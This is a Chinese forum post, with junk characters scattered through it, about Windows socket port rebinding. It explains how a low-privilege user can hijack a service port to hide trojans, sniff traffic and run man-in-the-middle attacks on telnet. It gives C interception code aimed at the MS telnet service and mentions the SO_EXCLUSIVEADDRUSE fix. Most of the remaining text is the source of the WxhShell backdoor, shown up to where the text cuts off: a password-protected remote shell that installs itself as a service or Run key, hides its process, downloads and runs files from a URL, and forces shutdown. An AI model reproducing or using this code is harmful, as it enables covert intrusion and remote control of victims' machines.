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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tF@hH}{;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?!$uMKyt  
P pF"n[j  
  saddr.sin_family = AF_INET; (g>>   
">V.nao  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); TtZ '~cGR  
bw\a\/Dw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (&y~\t] H  
)n&@`>vm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Spt]<~  
=5QP'Qt{O  
  这意味着什么?意味着可以进行如下的攻击: ?-g/hXx;  
dLq)Z*r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l0%qj(4`6&  
2G9sKg,kL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ? h*Ngbj>  
O%KP,q&}Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 & &\HE7*  
O=C z*j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'Lb- +X,  
?z]h Ysy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -(Y(K!n  
![OKmy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7Y>17=|  
GV aIZh<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #'<s/7;~  
$<[Q8V-  
  #include QlmZ4fT[r  
  #include L-}6}5[  
  #include x\r[Zp|  
  #include    A_mVe\(*M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $aFCe}3b<  
  int main() ",hPy[k  
  { \k69 S/O  
  WORD wVersionRequested; Qq.ht  
  DWORD ret; xpb,Nzwt^  
  WSADATA wsaData; v[O}~E7'  
  BOOL val; k{ru< cf  
  SOCKADDR_IN saddr; F/ODV=J-  
  SOCKADDR_IN scaddr; *b@YoQe3!  
  int err; {"([p L  
  SOCKET s; IJ`%Zh{f  
  SOCKET sc; FYs-vW{  
  int caddsize; <+tSTc4>r  
  HANDLE mt; *C*'J7  
  DWORD tid;   gq^j-!Q)Q<  
  wVersionRequested = MAKEWORD( 2, 2 ); Tf bB1  
  err = WSAStartup( wVersionRequested, &wsaData ); "Y> #=>8  
  if ( err != 0 ) { P&s-U6  
  printf("error!WSAStartup failed!\n"); yi*2^??` 1  
  return -1; nX|f?5 O  
  } #Pf?.NrTn  
  saddr.sin_family = AF_INET; "GTlJqhk  
   _8f? H#&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VT;Vm3\  
*x;&fyR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +@ FM~q  
  saddr.sin_port = htons(23); []vt\I ;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *&d>Vk."]  
  { Nzo;j0 [  
  printf("error!socket failed!\n"); ^J TrytIB  
  return -1; [K\Vc9  
  } ~'[0-_]=f  
  val = TRUE; m4<5jC`-M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [f?fA[, [  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BXCB/:0  
  { r^m8kYezQ  
  printf("error!setsockopt failed!\n"); 8{t^< j$n  
  return -1; zree}VqD;5  
  } fnwhkL#8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FKX+ z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yFYFFv\?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gyt[ZN_2  
M_+"RKp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w Bi'KS  
  { r? w^#V  
  ret=GetLastError(); N '8u}WO  
  printf("error!bind failed!\n"); Y M <8>d  
  return -1; vH^6O:V  
  } tTMYqg zUk  
  listen(s,2); O)$rC  
  while(1) mip2=7M|C  
  { $ e<108)]  
  caddsize = sizeof(scaddr); 8$+mST'4N  
  //接受连接请求 /3VSO"kcZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mO6rj=L^  
  if(sc!=INVALID_SOCKET) CTG:C5OK  
  { #s\HiO$BT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C3XB'CL6  
  if(mt==NULL) [%);N\o2Y  
  { 7<T1#~w4L  
  printf("Thread Creat Failed!\n"); Q=,6W:j  
  break; $y0[AB|V  
  } vG{+}o#  
  } ,u:J"epM  
  CloseHandle(mt); &tAhRMa  
  } <K(qv^C  
  closesocket(s); t+ ,'  
  WSACleanup(); *v' d1.Z  
  return 0; @Nm;lZK  
  }   qPn }$1+~  
  DWORD WINAPI ClientThread(LPVOID lpParam) kkyi`_ZKn  
  { 6cF~8  
  SOCKET ss = (SOCKET)lpParam; ]~Su  
  SOCKET sc; Aa.eu=@I  
  unsigned char buf[4096]; *t)Y@=k3>  
  SOCKADDR_IN saddr; p-6Y5$Y  
  long num; \-]zXKl2k  
  DWORD val; d3m!34ml  
  DWORD ret; '@ $L}C#OI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LXZ0up-B-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :"vW;$1 }  
  saddr.sin_family = AF_INET; Cggu#//Z}Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /e2CB"c   
  saddr.sin_port = htons(23);  ^n5rUwS>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B#|c$s{  
  { F1Jd-3ei  
  printf("error!socket failed!\n"); fAMk<?  
  return -1; 9_h  V1:  
  } _V.MmA  
  val = 100; (mNNTMe  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vky@L!&,  
  { D <16m<b  
  ret = GetLastError(); ,esryFRG  
  return -1; tRl01&0S  
  } g+X .8>=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rz #&v  
  { >l0y ss)I  
  ret = GetLastError(); M_OvIU(E  
  return -1; c\J?J>xz  
  } !Qqi%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eTeZ^G  
  { +E7Os|m  
  printf("error!socket connect failed!\n"); nT;Rwz$3  
  closesocket(sc); **D3.-0u&  
  closesocket(ss); NMM$ m!zg  
  return -1; UdiogXZ  
  } ,:E*Mw:  
  while(1) __3s3YG  
  { mSg{0_:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }Ai_peO0a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T"b'T>Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~l^Q~W-+  
  num = recv(ss,buf,4096,0); mB.j?@Y%  
  if(num>0) MXsCm(  
  send(sc,buf,num,0); U5iyvU=UG  
  else if(num==0) j_ \?ampF  
  break; MR?5p8S#g  
  num = recv(sc,buf,4096,0); v!>(1ROQ.=  
  if(num>0) e}PJN6"5  
  send(ss,buf,num,0); *%nV<}e^_=  
  else if(num==0) xpO'.xEs  
  break; TEzMFu+V  
  } 9sgyg3fv>5  
  closesocket(ss); &(Yv&j X  
  closesocket(sc); JZo18^aD"'  
  return 0 ; ~fht [S?@M  
  } Hdn%r<+c  
w YEkWB^  
n&n WY+GEo  
==========================================================  UZV\]Y  
|*T`3@R;3  
下边附上一个代码,,WXhSHELL *3Vic  
P4VMGP  
========================================================== }MiEbLduN  
AW R   
#include "stdafx.h" <Wwcd8d  
F YLBaN  
#include <stdio.h> G2[? b2)8  
#include <string.h> %3:[0o={d  
#include <windows.h> \{@n >Mh  
#include <winsock2.h> Y6Mp[=  
#include <winsvc.h> nj (\+l5  
#include <urlmon.h> MB!_G[R  
9K6G%  
#pragma comment (lib, "Ws2_32.lib") V#P`FX  
#pragma comment (lib, "urlmon.lib") %0gcNk"=  
#$^vP/"$  
#define MAX_USER   100 // 最大客户端连接数 Qf .ASC   
#define BUF_SOCK   200 // sock buffer ,O'#7Dj  
#define KEY_BUFF   255 // 输入 buffer 0#d:<+4D  
l(<=JUO;  
#define REBOOT     0   // 重启 6 6%_p]U  
#define SHUTDOWN   1   // 关机 h 3`\L4b  
=>LQW;Sjz  
#define DEF_PORT   5000 // 监听端口 6SqS\ 8  
j(>~:9I`  
#define REG_LEN     16   // 注册表键长度 _no;B_m~  
#define SVC_LEN     80   // NT服务名长度 1zP)~p3a  
8{f~tPY  
// 从dll定义API Gm.sl},  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hRFm]q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b;5&V_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h6(\ tRd!\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (rE.ft5$9  
n90DS/Yx  
// wxhshell配置信息 xe&w.aBI>  
struct WSCFG { K-2oSS56  
  int ws_port;         // 监听端口 DfsPg':z  
  char ws_passstr[REG_LEN]; // 口令 ,s~d39{  
  int ws_autoins;       // 安装标记, 1=yes 0=no itn<c2UyA  
  char ws_regname[REG_LEN]; // 注册表键名 q(9S4F   
  char ws_svcname[REG_LEN]; // 服务名 Yf?hl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 51Q m2,P1^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q|7$SS6$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zn{Y+ce7d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {u (( y D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @r*w 84  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8-u #<D.  
B4M rrW4=  
}; UID0|+%Y  
lvd `_+P$  
// default Wxhshell configuration m5_  
struct WSCFG wscfg={DEF_PORT, '5r\o8RjN  
    "xuhuanlingzhe", ^B!cL~S*I  
    1, l8~s#:v6X  
    "Wxhshell", %E k!3t  
    "Wxhshell", QnTKo&|9  
            "WxhShell Service", 4Nl3"@<$  
    "Wrsky Windows CmdShell Service", "sUjJ|  
    "Please Input Your Password: ", *Tum(wWZ  
  1, wsEOcaie  
  "http://www.wrsky.com/wxhshell.exe", Tv6HPD$[  
  "Wxhshell.exe" oWb\T 2!m  
    }; 2/>u8j  
F.cKg~E|e  
// 消息定义模块 WdZ_^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]k# iA9I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eD,'M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o6/"IIso3  
char *msg_ws_ext="\n\rExit."; gski:C   
char *msg_ws_end="\n\rQuit."; M3 &GO5<  
char *msg_ws_boot="\n\rReboot..."; L6 IIk  
char *msg_ws_poff="\n\rShutdown..."; 9q]n &5  
char *msg_ws_down="\n\rSave to "; k4-S:kVo  
;W?mQUo:P8  
char *msg_ws_err="\n\rErr!"; _zK ~9/5  
char *msg_ws_ok="\n\rOK!"; j_{f(.5  
qHl>d*IZ  
char ExeFile[MAX_PATH]; r]=Z :  
int nUser = 0; eqSCE6r9x  
HANDLE handles[MAX_USER]; qx1+'  
int OsIsNt; ^e{]WH?  
N#p%^GH  
SERVICE_STATUS       serviceStatus; CxD=8X9m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^u:bgwP  
ZKTY1JW_  
// 函数声明 8.zYa(< 2  
int Install(void); }Y!v"DO#Q*  
int Uninstall(void); .(%]RSBY  
int DownloadFile(char *sURL, SOCKET wsh); | r,{#EE  
int Boot(int flag); D%*Ryg  
void HideProc(void); PS3jCT  
int GetOsVer(void); 2 -pv &  
int Wxhshell(SOCKET wsl); O<P(UT"  
void TalkWithClient(void *cs); VVw5)O1'  
int CmdShell(SOCKET sock); Y3JIDT^  
int StartFromService(void); !<vy!pXg  
int StartWxhshell(LPSTR lpCmdLine); /d*[za'0  
p5aqlYb6r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nIWY<Z"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vtv~jJ{m  
]YrgkC35  
// 数据结构和表定义 D!V~g72j  
SERVICE_TABLE_ENTRY DispatchTable[] = `4-N@h  
{ <8ih >s(C  
{wscfg.ws_svcname, NTServiceMain}, U'LPaf$O  
{NULL, NULL} RqKkB8g  
}; i<{:J -U|  
fb[? sc  
// 自我安装 Q%:Z&lg y  
int Install(void) %uz6iQaq]X  
{ AfpC >>=@  
  char svExeFile[MAX_PATH]; NXMZTZpB7  
  HKEY key; (tCBbPW6T?  
  strcpy(svExeFile,ExeFile); zSagsH |W  
2 b80b50  
// 如果是win9x系统,修改注册表设为自启动 %)w7t[A2D  
if(!OsIsNt) { :7?n)=Tx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H5(: 1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ](^FGz  
  RegCloseKey(key); zm mkmTp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }ag;yf;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gc_KS'K@$  
  RegCloseKey(key); uN=f( -"  
  return 0; vty:@?3\  
    } y9U~4  
  } Tm2+/qO,  
} *z^Au7,&  
else { |j4p  
i3cMRcS;  
// 如果是NT以上系统,安装为系统服务 Ln8r~[tVE<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]sI\.a  
if (schSCManager!=0) \c1>15  
{ xYY^tZIV  
  SC_HANDLE schService = CreateService '=(D7F;  
  ( d~q7!  
  schSCManager, (6i4N2  
  wscfg.ws_svcname, sB!6"D5  
  wscfg.ws_svcdisp, VAp 1{  
  SERVICE_ALL_ACCESS, P?@o?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N|%X/UjZ2.  
  SERVICE_AUTO_START, )"]( ?V  
  SERVICE_ERROR_NORMAL, Q$Rp?o&  
  svExeFile, :o:Z   
  NULL, p*l=rni4  
  NULL, S{Zf}8?6$  
  NULL, iI3,q-LA  
  NULL, t]T't='  
  NULL G[=;519  
  ); $h[Q }uW  
  if (schService!=0) hW`o-'  
  { _p?s[r*  
  CloseServiceHandle(schService); ,BR W=  
  CloseServiceHandle(schSCManager); 4]ko  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [ #fz [U  
  strcat(svExeFile,wscfg.ws_svcname); zYM0?O8pJ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -XnOj2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R 5\|pC  
  RegCloseKey(key); -wVuM.n(Z  
  return 0; eh8lPTKil  
    } Lj/  
  } (C.aQ)|T  
  CloseServiceHandle(schSCManager); Fzt7@VNxc  
} $-.*8*9  
} TPLv]$n  
%r&36d'  
return 1; 39d$B'"<1  
} 6n;? :./  
4%4Yqx )  
// 自我卸载 4y!GFhMh  
int Uninstall(void) ^V7)V)Z;0  
{ |pBvy1e4)  
  HKEY key; t^2$ent  
:(4q\~  
if(!OsIsNt) { !r9rTS]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?X Rl\V  
  RegDeleteValue(key,wscfg.ws_regname); !}sF#  
  RegCloseKey(key); R+2~%|{d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ],{M``]q  
  RegDeleteValue(key,wscfg.ws_regname); 24sQon  
  RegCloseKey(key); WXG0Z  
  return 0; s#(7D3Pr#  
  } L* ScSxw  
} cH5RpeP  
} $j \jT  
else { ]=59_bkD:s  
5H,(\Xd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i^8w0H<-@v  
if (schSCManager!=0) /B|"<`-H  
{ CAmIwAx6;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m*\LO%s]E  
  if (schService!=0) xe9\5Gb}  
  { x3F94+<n{  
  if(DeleteService(schService)!=0) { 7%G&=8tq  
  CloseServiceHandle(schService); _#uRKy<`N  
  CloseServiceHandle(schSCManager); jUDE)~h  
  return 0; %cJdVDW`L  
  } q29d=  
  CloseServiceHandle(schService); J4s`U/F  
  } m>?|*a,  
  CloseServiceHandle(schSCManager); bR$5G  
} J% ZM V  
} $ e.Bz `  
a54S,}|  
return 1; na 0Zb  
} mX, @yCI  
er2;1TW3E  
// 从指定url下载文件 EfkBo5@Qi  
int DownloadFile(char *sURL, SOCKET wsh) M:L-j{?y_  
{ v- p8~u1N  
  HRESULT hr; >FJK$>[1:p  
char seps[]= "/"; t3C#$ >  
char *token; 9$}> O]  
char *file; %IDl+_j  
char myURL[MAX_PATH]; \Ym!5,^o  
char myFILE[MAX_PATH]; AP8J28I  
6j!a*u:}"  
strcpy(myURL,sURL); ;iJ}[HUo  
  token=strtok(myURL,seps); ywB0 D`s'  
  while(token!=NULL) h 0)oQrY  
  { NRk^Z)  
    file=token; O;T)u4Q&3  
  token=strtok(NULL,seps); P7REE_<1  
  } }=.C~f]A  
ca,c+5  
GetCurrentDirectory(MAX_PATH,myFILE); ;yCtk ~T%  
strcat(myFILE, "\\"); 6zi Mf  
strcat(myFILE, file); Zu>CR_C  
  send(wsh,myFILE,strlen(myFILE),0); aC<fzUD;  
send(wsh,"...",3,0); jpOcug`f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $$*0bRfd4=  
  if(hr==S_OK) |!1iLWQ  
return 0; \`%#SmQF  
else 4VkJtu5  
return 1; l E* .9T  
Ih;D-^RQ  
} u'gsIuRJ  
Mko,((>I1  
// 系统电源模块 }uO2 x@  
int Boot(int flag) 4{b/Nv:b  
{ v+dT7* ^@  
  HANDLE hToken; ha9 d z  
  TOKEN_PRIVILEGES tkp; Vg mYm~y'  
W 9bpKmc  
  if(OsIsNt) { AboRuHQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vkW;qt}yO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'C;KNc  
    tkp.PrivilegeCount = 1; r4iT 9 D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &yqk96z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nE :Wl  
if(flag==REBOOT) { =,08D^xY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tc|+:Usy  
  return 0; %;J$ h^  
} N ]GF>kf:  
else { cCIs~*D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |Z$)t%'  
  return 0; qSaCl6[Do  
} E.^u:0:P  
  } k\ZU%"^J  
  else { $]?M[sL\N7  
if(flag==REBOOT) { W=2]!%3#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;)sC{ "Jb  
  return 0; 5 L-6@@/  
} zCu+Oi6  
else { eEeK ] 8@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gV'=u z v  
  return 0; 7'@~TM  
} wB<cW>6  
} {P%\& \{F  
("=24R=a  
return 1; Cio (Ptt:  
} SW HiiF@  
:;Npk9P(N  
// win9x进程隐藏模块 nrM-\'  
void HideProc(void) 'ztY>KVj  
{ yPH5/5;,  
}q?q)cG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !{ORFd  
  if ( hKernel != NULL ) Ihl]"76q/  
  { w" A{R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Owh:(EJ"d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7}tXF  
    FreeLibrary(hKernel); /8P7L'Rb  
  } msw=x0{n5  
X"T)X#:)  
return; qf%p#+:B3  
} VZ2CWE)t  
/ 6DW+!  
// 获取操作系统版本 %y)LBSxf  
int GetOsVer(void) gNh4c{Al9  
{ yQC8Gt8  
  OSVERSIONINFO winfo; jW}hLjlN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CR-2>,*a9  
  GetVersionEx(&winfo); Wa%p+(\<uB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >E>'9@Uh  
  return 1; @~IZ%lEQsD  
  else BqOMg$<\[  
  return 0; al4X}  
} kB-<17  
m\K1Ex  
// 客户端句柄模块 a%wa3N=v  
int Wxhshell(SOCKET wsl) Q*/jQC  
{ 5"Y:^_8  
  SOCKET wsh; hP jL  
  struct sockaddr_in client; ~e+pa|lO  
  DWORD myID; EsLtC5]  
VJtRL')  
  while(nUser<MAX_USER) <"LA70Hkk  
{ ` )~CT  
  int nSize=sizeof(client); N2Cf(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !Eb!y`jK  
  if(wsh==INVALID_SOCKET) return 1; ul\FZT 4  
_No<fz8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fc%C!^7  
if(handles[nUser]==0) d ewN\  
  closesocket(wsh); -nB. .q  
else %v]-:5g'|  
  nUser++; :) T#.(mR  
  } wgZ6|)!0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /tqe:*  
$XrX(l5  
  return 0; Y,X0x-  
} \~""<*Hz  
6H|&HV(!R  
// 关闭 socket OC`Mzf%.  
void CloseIt(SOCKET wsh) {z8wFL\  
{ ]?hlpL  
closesocket(wsh); !]P=v`B.  
nUser--; ='HLA-uT  
ExitThread(0); g"D:zK)  
}  37|EG  
4HyD=6V#  
// 客户端请求句柄 ,f[Oy:fr  
void TalkWithClient(void *cs) ,v(ikPzd  
{ e{*z4q1  
 OF`:);  
  SOCKET wsh=(SOCKET)cs; aOW$H:b  
  char pwd[SVC_LEN]; 5K$d4KT  
  char cmd[KEY_BUFF]; sHHu<[psM  
char chr[1]; vNAQ/Q  
int i,j; MNKY J  
Qr[".>+  
  while (nUser < MAX_USER) { ]DI%7kw'  
;vgaFc]  
if(wscfg.ws_passstr) { \B8[UZA.&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2!}rH w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .IORvP-M&  
  //ZeroMemory(pwd,KEY_BUFF); f_ > lz  
      i=0; c)17[9"  
  while(i<SVC_LEN) { f`p"uLNo<  
HO39>:c  
  // 设置超时 $eh>.c'&]  
  fd_set FdRead; @Y+9")?  
  struct timeval TimeOut; *g 2N&U  
  FD_ZERO(&FdRead); {7 nz:f  
  FD_SET(wsh,&FdRead); R,W w/D  
  TimeOut.tv_sec=8; 1zY" Uxp  
  TimeOut.tv_usec=0; q]m$%>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Iyt.`z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5f#]dgBe  
@86I|cY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^1[u'DW4  
  pwd=chr[0]; 6 kAXE\T  
  if(chr[0]==0xd || chr[0]==0xa) { s!/Q>A  
  pwd=0; s C?-L  
  break; \v([,tiW%  
  } o,=dm@j  
  i++; I>spJ5ls  
    } )dI  `yf  
Y/G~P,9  
  // 如果是非法用户,关闭 socket n7'X.=o7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  76EMS?e  
} >3y:cPTM5  
GP=&S|hi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "A&HNkRz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6zW3!_tz  
k!sk\~>YO  
while(1) { }%k 3  
|(rTz!!-  
  ZeroMemory(cmd,KEY_BUFF); -{S: sK.o  
Y kcN-  
      // 自动支持客户端 telnet标准   =BBDh`$R  
  j=0;  8=j_~&*  
  while(j<KEY_BUFF) { |kkg1M#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A$ o?_  
  cmd[j]=chr[0]; k54Vh=p  
  if(chr[0]==0xa || chr[0]==0xd) { 1WLaJ%Fv  
  cmd[j]=0; :%"$8o*0W  
  break; psE&Rx3)  
  } !"N-To-c  
  j++; UWq[K&vQZ  
    } k>72W/L^  
hdx"/.s  
  // 下载文件 VeWvSIP,EQ  
  if(strstr(cmd,"http://")) { G^_fbrZjN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;bes#|^F  
  if(DownloadFile(cmd,wsh)) x<[W9Z'~?9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y%)@)$sK  
  else [V.#w|n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 44(l1xEN+  
  } jsnk*>j  
  else { 8K0@*0  
[5TGCGxP{  
    switch(cmd[0]) { h;2n2.Q  
  G,JNUok  
  // 帮助 :I^I=A%Pe(  
  case '?': { eU.HS78  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C.oC@P  
    break; uj9IK  
  } uP veAK}h  
  // 安装 \-~TW4dYe  
  case 'i': { W4o$J4IX{  
    if(Install()) r__Y{&IO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W: vw.  
    else i$!-mYi+Q!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "OO"Ab{t  
    break; $d _%7xx  
    } cq \()uF'c  
  // 卸载 yCT:U&8%F  
  case 'r': { Y1Qg|U o  
    if(Uninstall()) Z 7s (g]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iN+Tig?c  
    else l2LUcI$ x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s j{i  
    break; 0755;26Bx  
    } U$5 lh  
  // 显示 wxhshell 所在路径 N]6M4j!  
  case 'p': { K}p!W"!o  
    char svExeFile[MAX_PATH]; W4~:3 Sk  
    strcpy(svExeFile,"\n\r"); Ot#O];3  
      strcat(svExeFile,ExeFile);  iI(7{$y  
        send(wsh,svExeFile,strlen(svExeFile),0); 1"5-doo  
    break; R"`7aa6  
    } wa*/Am9;~  
  // 重启 5??\[C^"}  
  case 'b': { l3C%`[MB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "=97:H{!  
    if(Boot(REBOOT)) OPsg3pW!]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Vm"2g,aA  
    else { T2^0Q9E?  
    closesocket(wsh); ZW0gd7Wh  
    ExitThread(0); 43 h0i-%1  
    } xVn"xk  
    break; qvH7otA  
    } 42wa9UL<Ka  
  // 关机 9OnH3  
  case 'd': { bijE]:<AE7  
